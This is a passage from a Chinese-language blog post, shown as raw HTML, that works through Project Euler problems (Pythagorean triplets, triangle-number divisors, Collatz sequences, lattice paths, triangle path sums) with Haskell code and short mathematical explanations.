class="type">Integer</span> -&gt; <span class="type">Integer</span></span><br><span class="line"><span class="title">lcmRangeImproved</span> n = product $ map maxPower primesInRange</span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    primesInRange = takeWhile (&lt;= n) primes</span><br><span class="line">    maxPower p = p ^ maxExponent p</span><br><span class="line">    maxExponent p = last $ takeWhile (\x -&gt; p ^ x &lt;= n) [<span class="number">1</span> ..]</span><br><span class="line"><span class="title">primes</span> :: [<span class="type">Integer</span>]</span><br><span class="line"><span class="title">primes</span> = sieve [<span class="number">2</span> ..]</span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    sieve [] = []</span><br><span class="line">    sieve (p : xs) = p : sieve [x | x &lt;- xs, x `mod` p /= <span class="number">0</span>]</span><br></pre></td></tr></table></figure><h2 id="P9-毕达哥拉斯三元组">P9 毕达哥拉斯三元组</h2><p><img src="https://cdn.blog-blockchain.xyz/2024/01/3f974072ce9b633bfd04c0af21bc19b1.png" alt="image-20240114211714499"></p><p>毕达哥拉斯三元组，满足特殊代数关系，类似平方和。另外，三元组的倍数仍然是三元组。所以有如下数学推导，三边满足</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9474em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0585em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mord mathnormal">mn</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9474em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8641em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.0391em;"></span><span class="mord"><span class="mord mathrm">where</span></span><span class="mspace nobreak"> </span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span></span></p><p>那么 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">2</span><span class="mord mathnormal">m</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>，所以 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 和 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 实际上只有很少的选择，再然后考虑去除倍数的影响，确保 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 和 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 互素。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">findPythagoreanTripletImproved</span> :: <span class="type">Integer</span> -&gt; <span class="type">Maybe</span> [(<span class="type">Integer</span>, <span class="type">Integer</span>, <span class="type">Integer</span>)]</span><br><span class="line"><span class="title">findPythagoreanTripletImproved</span> totalSum</span><br><span class="line">    | odd totalSum = <span class="type">Nothing</span></span><br><span class="line">    | null candicates = <span class="type">Nothing</span></span><br><span class="line">    | otherwise = <span class="type">Just</span> $ map getSides candicates</span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    candicates =</span><br><span class="line">        <span class="keyword">let</span> relativePrimeFac (x, y) = (x `div` d, y `div` d, d ^ <span class="number">2</span>)</span><br><span class="line">              <span class="keyword">where</span></span><br><span class="line">                d = gcd x y</span><br><span class="line">         <span class="keyword">in</span> [relativePrimeFac (a, b) | (a, b) &lt;- factors $ totalSum `div` <span class="number">2</span>, b &lt; <span class="number">2</span> * a]</span><br><span class="line">    getSides (m, k, d) = (d * a, d * b, d * c)</span><br><span class="line">      <span class="keyword">where</span></span><br><span class="line">        n = k - m</span><br><span class="line">        a = m ^ <span class="number">2</span> - n ^ <span class="number">2</span></span><br><span class="line">        b = <span class="number">2</span> * m * n</span><br><span class="line">        c = m ^ <span class="number">2</span> + n ^ <span class="number">2</span></span><br><span class="line"><span class="title">factors</span> :: <span class="type">Integer</span> -&gt; [(<span class="type">Integer</span>, <span class="type">Integer</span>)]</span><br><span class="line"><span class="title">factors</span> x = [(a, x `div` a) | a &lt;- [<span class="number">2</span> .. (floor . sqrt $ fromInteger x)], x `mod` a == <span class="number">0</span>]</span><br></pre></td></tr></table></figure><h2 id="P12-三角形数的因子个数">P12 三角形数的因子个数</h2><p><img src="https://cdn.blog-blockchain.xyz/2024/01/272d0cc4d5253e7d999bb78672906a9f.png" alt="image-20240114213717924"></p><p>三角形数有特征的，满足<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mord">/2</span></span></span></span>，然后因子个数实际是质因子的组合，对于每类质因子<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span>，如果有 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">a</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>个，那就可以选择 0 到 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">a</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 个 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span> 组成一个因子，所以 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 种选择。为了复用质因数列表，于是用了 State Monad。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">type</span> <span class="type">PrimeState</span> = <span class="type">State</span> [<span class="type">Int</span>]</span></span><br><span class="line"><span class="title">firstDivsorsN2</span> :: <span class="type">Int</span> -&gt; <span class="type">Int</span></span><br><span class="line"><span class="title">firstDivsorsN2</span> num = evalState (findFirstDivisor num) (sieve [<span class="number">2</span> ..])</span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    findFirstDivisor :: <span class="type">Int</span> -&gt; <span class="type">PrimeState</span> <span class="type">Int</span></span><br><span class="line">    findFirstDivisor n = head &lt;$&gt; filterM (fmap (&gt; n) &lt;$&gt; divisorNum) triNum</span><br><span class="line"></span><br><span class="line">    divisorNum :: <span class="type">Int</span> -&gt; <span class="type">PrimeState</span> <span class="type">Int</span></span><br><span class="line">    divisorNum m = product &lt;$&gt; (map (succ . length) . group &lt;$&gt; primeFactors m)</span><br><span class="line"></span><br><span class="line">    primeFactors :: <span class="type">Int</span> -&gt; <span class="type">PrimeState</span> [<span class="type">Int</span>]</span><br><span class="line">    primeFactors num = gets $ \ps -&gt; factorize num ps</span><br><span class="line">      <span class="keyword">where</span></span><br><span class="line">        factorize <span class="number">1</span> _ = []</span><br><span class="line">        factorize _ [] = []</span><br><span class="line">        factorize m (p : ps)</span><br><span class="line">          | m `mod` p == <span class="number">0</span> = p : factorize (m `div` p) (p : ps)</span><br><span class="line">          | otherwise = factorize m ps</span><br><span class="line"></span><br><span class="line">    sieve (p : xs) = p : sieve [x | x &lt;- xs, x `mod` p /= <span class="number">0</span>]</span><br><span class="line">    triNum = [m * (m + <span class="number">1</span>) `div` <span class="number">2</span> | m &lt;- [<span class="number">1</span> ..]]</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="P14-最长-Collatz-序列">P14 最长 Collatz 序列</h2><p><img src="https://cdn.blog-blockchain.xyz/2024/01/3613ba29cc8cc23eddaad0fa9d05bf97.png" alt="image-20240114214356024"></p><p>序列长度的递推关系很清晰，但是最好要记录下状态，可以在已有的状态上递推，所以用 State Monad。之后比较长度即可。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&#123;-# LANGUAGE TupleSections #-&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">module</span> P14 (<span class="title">longestUnder2</span>) <span class="keyword">where</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> Control.Monad.State</span><br><span class="line"><span class="keyword">import</span> Data.List (<span class="title">foldl&#x27;</span>, <span class="title">maximumBy</span>)</span><br><span class="line"><span class="keyword">import</span> <span class="keyword">qualified</span> Data.Map <span class="keyword">as</span> Map</span><br><span class="line"><span class="keyword">import</span> Data.Ord (<span class="title">comparing</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">-- | Finds the starting number under a given limit which produces the longest Collatz sequence.</span></span><br><span class="line"><span class="comment">--   &#x27;n&#x27; is the upper limit for the starting number.</span></span><br><span class="line"><span class="title">longestUnder</span> :: <span class="type">Integer</span> -&gt; <span class="type">Integer</span></span><br><span class="line"><span class="title">longestUnder</span> n = fst $ maximumBy (comparing snd) $ zip [<span class="number">1</span> .. n] (map collatzLen [<span class="number">1</span> .. (n - <span class="number">1</span>)])</span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    <span class="comment">-- \| Computes the length of the Collatz sequence for a given starting number.</span></span><br><span class="line">    collatzLen <span class="number">1</span> = <span class="number">1</span> <span class="comment">-- Base case: sequence length is 1 for starting number 1.</span></span><br><span class="line">    collatzLen start</span><br><span class="line">      | even start = <span class="number">1</span> + collatzLen (start `div` <span class="number">2</span>) <span class="comment">-- If &#x27;start&#x27; is even.</span></span><br><span class="line">      | otherwise = <span class="number">1</span> + collatzLen (<span class="number">3</span> * start + <span class="number">1</span>) <span class="comment">-- If &#x27;start&#x27; is odd.</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- Type aliases for readability.</span></span><br><span class="line"><span class="class"><span class="keyword">type</span> <span class="type">Cache</span> = <span class="type">Map</span>.<span class="type">Map</span> <span class="type">Int</span> <span class="type">Int</span></span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">type</span> <span class="type">CollatzState</span> = <span class="type">State</span> <span class="type">Cache</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- | An optimized version of &#x27;longestUnder&#x27; using the State Monad for caching.</span></span><br><span class="line"><span class="title">longestUnder2</span> :: <span class="type">Int</span> -&gt; <span class="type">Int</span></span><br><span class="line"><span class="title">longestUnder2</span> m = fst $ maximumBy (comparing snd) $ evalState (mapM collatzPair [<span class="number">1</span> .. m - <span class="number">1</span>]) <span class="type">Map</span>.empty</span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    <span class="comment">-- \| Creates a pair (starting number, sequence length) for each number.</span></span><br><span class="line">    collatzPair :: <span class="type">Int</span> -&gt; <span class="type">CollatzState</span> (<span class="type">Int</span>, <span class="type">Int</span>)</span><br><span class="line">    collatzPair num = (num,) &lt;$&gt; collatzLen num</span><br><span class="line"></span><br><span class="line">    <span class="comment">-- \| Computes the Collatz sequence length with caching.</span></span><br><span class="line">    collatzLen :: <span class="type">Int</span> -&gt; <span class="type">CollatzState</span> <span class="type">Int</span></span><br><span class="line">    collatzLen <span class="number">1</span> = return <span class="number">1</span> <span class="comment">-- Base case: sequence length is 1 for starting number 1.</span></span><br><span class="line">    collatzLen n = <span class="keyword">do</span></span><br><span class="line">      cache &lt;- get</span><br><span class="line">      maybe (updateCache n) return (<span class="type">Map</span>.lookup n cache)</span><br><span class="line">      <span class="keyword">where</span></span><br><span class="line">        <span class="comment">-- \| Updates the cache with the new sequence length if not already cached.</span></span><br><span class="line">        updateCache num = <span class="keyword">do</span></span><br><span class="line">          len &lt;- collatzLen $ <span class="keyword">if</span> even num <span class="keyword">then</span> num `div` <span class="number">2</span> <span class="keyword">else</span> <span class="number">3</span> * num + <span class="number">1</span></span><br><span class="line">          modify (<span class="type">Map</span>.insert num (<span class="number">1</span> + len))</span><br><span class="line">          return (<span class="number">1</span> + len)</span><br><span class="line"></span><br><span class="line"><span class="comment">-- | Main function to print the starting number under 1,000,000 with the longest Collatz sequence.</span></span><br><span class="line"><span class="title">main</span> :: <span class="type">IO</span> ()</span><br><span class="line"><span class="title">main</span> = print $ longestUnder2 <span class="number">1000000</span></span><br></pre></td></tr></table></figure><h2 id="P15-走格子路径的方式">P15 走格子路径的方式</h2><p><img src="https://cdn.blog-blockchain.xyz/2024/01/485f3873f85f82b0a8c11f0b0e7225bb.png" alt="image-20240114214650028"></p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">latticePaths2</span> side = dp !! side !! side</span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    dp = [[lattice x y | y &lt;- [<span class="number">0</span> .. side]] | x &lt;- [<span class="number">0</span> .. side]]</span><br><span class="line">    lattice <span class="number">0</span> _ = <span class="number">1</span></span><br><span class="line">    lattice _ <span class="number">0</span> = <span class="number">1</span></span><br><span class="line">    lattice x y = dp !! (x - <span class="number">1</span>) !! y + dp !! x !! (y - <span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="title">latticePaths3</span> :: (<span class="type">Integral</span> a) =&gt; a -&gt; a</span><br><span class="line"><span class="title">latticePaths3</span> side = numerator $ product [(side + i) % i | i &lt;- [<span class="number">1</span> .. side]]</span><br></pre></td></tr></table></figure><p>可以直接看代码，每个点的来源是左边或者上面的点，所以动态规划就可以了。不过呢，其实也是有组合公式，因为每个点的路径，实际上是 d(down)r(right)，这样 ddrddrr 的序列组合，这样就到达了(4,3)。7 个位置选出 3 个给 r 就是一种走法。</p><h2 id="P18-路径之和">P18 路径之和</h2><p><img src="https://cdn.blog-blockchain.xyz/2024/01/59169786d2c89f4d5ce3d6f69821d725.png" alt="image-20240114215043832"></p><p>step 函数是从最后一行和倒数第二行开始，计算得到从最后一行到倒数第二行的每个数字最大的和，然后这个列表继续和倒数第三行操作，最后就剩下一个数。记 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span> 为从上到下到第 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span> 行第 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span></span></span></span> 列的数 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span> 的路径之和。那么</p><p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8694em;vertical-align:-0.2861em;"></span><span class="mop">max</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>，对了如果下标超出范围，值都是 0。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- | Computes the maximum path sum in a triangle.</span></span><br><span class="line"><span class="comment">--   The triangle is represented as a list of lists, where each list is a row in the triangle.</span></span><br><span class="line"><span class="title">maxPathSum</span> :: [[<span class="type">Int</span>]] -&gt; <span class="type">Int</span></span><br><span class="line"><span class="title">maxPathSum</span> [] = <span class="number">0</span> <span class="comment">-- Base case: if the triangle is empty, the max sum is 0.</span></span><br><span class="line"><span class="title">maxPathSum</span> tri = head $ foldr1 step tri</span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    <span class="comment">-- \| &#x27;step&#x27; combines two rows of the triangle into one by choosing the maximum adjacent numbers.</span></span><br><span class="line">    <span class="comment">--   It is used as the function in a right fold to accumulate the maximum path sum.</span></span><br><span class="line">    step [] _ = [] <span class="comment">-- Base case for the step function when the last row is empty.</span></span><br><span class="line">    step _ [] = [] <span class="comment">-- Base case for the step function when the next row is empty.</span></span><br><span class="line">    step lastRow@(x : xs) nextRow@(y : ys) =</span><br><span class="line">      (x + max y (head ys)) : step xs ys <span class="comment">-- Calculate the max sum for each position in the row.</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- &#x27;foldr1&#x27; is used to apply &#x27;step&#x27; function starting from the bottom of the triangle,</span></span><br><span class="line"><span class="comment">-- eventually reducing the entire triangle to a single row containing only the max path sum.</span></span><br></pre></td></tr></table></figure><h2 id="Problem-21-40">Problem 21 - 40</h2><h2 id="P21-Amicable-Numbers">P21 Amicable Numbers</h2><p><img src="https://cdn.blog-blockchain.xyz/2024/01/c8a66355fc5c1c3a26f88dad141468f2.png" alt="image-20240114215746348"></p><p>这里实际想要证明，因子之和，其实有一个公式。显然对于质数 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span> 有：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">p</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></span></p><p>对于质因子只有 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span> 的数 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal 